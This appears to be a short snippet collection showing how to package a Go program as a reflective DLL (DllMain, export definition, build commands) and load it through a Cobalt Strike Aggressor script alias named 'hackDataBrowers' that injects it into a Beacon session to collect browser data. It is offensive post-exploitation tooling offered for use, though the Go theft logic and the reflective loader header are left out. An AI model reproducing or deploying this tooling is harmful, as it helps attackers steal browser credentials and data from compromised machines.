//dllmain.def
EXPORTS
run
ReflectiveLoader
//dllmain.c
#include "dllmain.h"
#include <Windows.h>
#include <stdio.h>
#define DLL_QUERY_HMODULE 6
extern HINSTANCE hAppInstance;
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) {
BOOL bReturnValue = TRUE;
switch( dwReason ) {
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
run();
fflush(stdout);
ExitProcess(0);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
//dllmain.go
package main
//#include "dllmain.h"
//#include "ReflectiveLoader.h"
import "C"
//ReflectiveLoader.h
这玩意就省略了...
//x64
del dllmain.a
set GOARCH=amd64
go build -a -v --gcflags=-trimpath=$GOPATH -asmflags=-trimpath=$GOPATH -ldflags "-w -s" -buildmode=c-archive -o dllmain.a
gcc dllmain.def dllmain.a -shared -lwinmm -lWs2_32 -o dllmain.dll
move dllmain.dll reflective_dll.x64.dll
//x32
set GOARCH=386
set CGO_ENABLED=0
set path=E:\mingw32\bin\;%path%
go build --ldflags "-s -w" -buildmode=c-archive -o dllmain.a
gcc dllmain.def dllmain.a -shared -lwinmm -lWs2_32 -o dllmain.dll
move dllmain.dll reflective_dll.dll
alias hackDataBrowers {
local('$dll');
btask($1, "Task Beacon to run HackDataBrowers", "T9999");
if (-is64 $1) {
$dll = getFileProper(script_resource("resources"), "reflective_dll.x64.dll");
}
else {
$dll = getFileProper(script_resource("resources"), "reflective_dll.dll");
}
bdllspawn($1, $dll , $2, "Get Browers Data", 5000, false);
}